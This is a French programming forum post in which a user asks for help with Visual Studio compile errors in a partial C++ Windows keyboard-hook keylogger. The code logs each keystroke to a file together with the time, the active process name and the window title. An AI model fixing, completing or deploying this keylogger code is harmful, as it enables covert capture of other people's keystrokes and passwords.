benmohamedali11
Messages postés13Date d'inscriptionjeudi 13 février 2014StatutMembreDernière intervention23 février 2014
-
Modifié par dsy73 le 18/02/2014 à 07:19
Bonjour
J'ai des erreurs lors de l'exécution en c++:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <psapi.h>
#include <time.h>
#define CHEMINDULOG "log.txt"//constante ou est stoquer le chemin du fichier log
// Global instance du hook
HHOOK hKeyHook;
HWND AncienHandle;
FILE *Log;
tm DonneHeure();//recupere l'heure systeme, renvoie une structre de type tm
bool Erreur = false;
//on rajoute les touches non traitées par le hook
switch (hooked.vkCode)
{
case 9:
{
fprintf(Log, "<TAB>");
break;
}
case 13:
{
fprintf(Log, "\n");
AncienHandle = 0;
break;
}
case VK_BACK:
{
fprintf(Log, "<DEL>");
break;
}
case VK_DELETE:
{
fprintf(Log, "<Suppr>");
break;
}
/* vous pouvez rajouter vos traitements perso ici ! */
default: // on affiche les touches tappées
{
Ch = ((char)wBuf);
HWND Handle = GetForegroundWindow();//on recupere le handle de la fenetre qui a le focus
if (Handle != AncienHandle)//si le handle est different du dernier alors on a changer de fenetre
{
fclose(Log);//on ferme le log pour que les donnee soient reelement ecrite dedans
Log = fopen(CHEMINDULOG, "a+");//on le réouvre(je sais c'estun peu barbare)
if (Log != NULL)
{
NomProcess[0] = '\n';//on met en premiere caractere un retour chariot pour qu'il y est bien retour a la ligne avaant d'ecrire la nouvelle ligne
NomFenetre[0] = '\0';//pour s'assurer de ne pas ecrire autre chose.
Heure = DonneHeure();//on recup l'heure
fprintf(Log, "\n%d:%d:%d: ", Heure.tm_hour, Heure.tm_min, Heure.tm_sec);//on l'ecrit
GetWindowThreadProcessId(Handle, &lpdwProcessId);//on recupere l'id du thread d'apres son handle
PID = OpenProcess(PROCESS_ALL_ACCESS, false, lpdwProcessId);//on recupere le PID du processus auquel apartient le thread ci-dessus
if (PID != NULL)
{
GetModuleBaseName(PID, NULL, NomProcess, sizeof NomProcess);//on recupere le nom du processus d'apres son PID
}
else
{
strcat(NomProcess, "<Inconnu>");//si cela a echoue on met inconnu
}
NomFenetre[0] = '\0';
GetWindowText(Handle, NomFenetre, sizeof NomFenetre);//ici on recupere le nom de la fenetre
strcat(NomProcess, ">");
strcat(NomProcess, NomFenetre);
strcat(NomProcess, ": ");
fprintf(Log, "%s", NomProcess);//on ecrit le tout
AncienHandle = Handle;//on met a jour le nouveau handle pour le comparer au prochaine
}
else
{
Erreur = true;
return 0;
}
}
fprintf(Log, "%c", Ch);//on ecrit le caractere qui a ete saisie au clavier
break;
}
}
}
// Renvoi des messages au sytème
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
l'erreurs:
-Erro3:
error C2664: 'int GetWindowTextW(HWND,LPWSTR,int)' : cannot convert argument 2 from 'char [1024]' to 'LPWSTR' c:\users\compac\documents\visual studio 2013\projects\pfeprocessus1\pfeprocessus1\pfeprocessus1.cpp 112 1 pfeProcessus1
-Error2:
error C2664: 'DWORD K32GetModuleBaseNameW(HANDLE,HMODULE,LPWSTR,DWORD)' : cannot convert argument 3 from 'char [1024]' to 'LPWSTR' c:\users\compac\documents\visual studio 2013\projects\pfeprocessus1\pfeprocessus1\pfeprocessus1.cpp 102 1 pfeProcessus1
-Error
1:error C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. c:\users\compac\documents\visual studio 2013\projects\pfeprocessus1\pfeprocessus1\pfeprocessus1.cpp 91 1 pfeProcessus1
je ne compris pas ses erreurs,s'il vaut plait aide moi,merci en avance.